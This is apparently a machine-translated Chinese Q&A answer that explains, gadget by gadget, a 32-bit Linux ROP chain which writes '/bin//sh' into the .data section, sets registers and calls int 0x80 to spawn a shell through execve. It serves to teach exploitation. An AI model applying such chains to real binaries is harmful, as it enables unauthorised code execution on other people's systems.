2016-09-28 27 views

回答

0

簡而言之,@ .data行是指用於寫入"/bin//sh"字符串的可寫內存,稍後執行。 .data部分只是可執行文件的可讀/可寫部分,它被加載到內存中,通常用於存儲全局變量。


這裏是如何的ROP鏈工程細目:

pop edx ; ret 
@ .data 

這兩個小工具彈出.data段的地址爲edx

pop eax ; ret 
'/bin' 

這些小工具彈出0x6e69622f,或前四個字符的字符串/bin//sheax

mov dword ptr [edx], eax ; ret 

那麼這在地址edx寫入的eax內容;在這一點上串的前四個字符已在.data部分

pop edx ; ret 
@ .data + 4 

pop eax ; ret 
'//sh' 

mov dword ptr [edx], eax ; ret 

這部分不完全一樣的事情寫在四個字節字符串

​​

的開始被寫入然後這個字符串寫入後空4個字節空終止它

pop ebx ; ret 
@ .data 

這得到字符串的地址ebx

pop ecx ; pop ebx ; ret 
@ .data + 8 
padding without overwrite ebx 

這寫.data+8ecx和寫入.dataebx。 (請注意,第三行這裏是0x080f4060,我們可以看到的是上述.data三行相同的地址)

pop edx ; ret 
@ .data + 8 

此寫入.data+8edx

xor eax, eax ; ret 
inc eax ; ret 
inc eax ; ret 
inc eax ; ret 
inc eax ; ret 
inc eax ; ret 
inc eax ; ret 
inc eax ; ret 
inc eax ; ret 
inc eax ; ret 
inc eax ; ret 
inc eax ; ret 

此寫入11eax

int 0x80 

這會在Linux上執行系統調用。 Here是理解系統調用的好資源。我們看到,當eax是11(0xb),它是一個execve呼叫,其定義如下:

int execve(const char *filename, char *const argv[], char *const envp[]); 

所以後來ebxfilenameecxargv,並edxenvp。此時,ebx指向字符串/bin//sh,並且ecxedx都是.data+8。它們都被視爲字符串,但由於.data+8包含空字節,所以ecxedx是空字符串。所以電話本質上是execve("/bin//sh", "", "");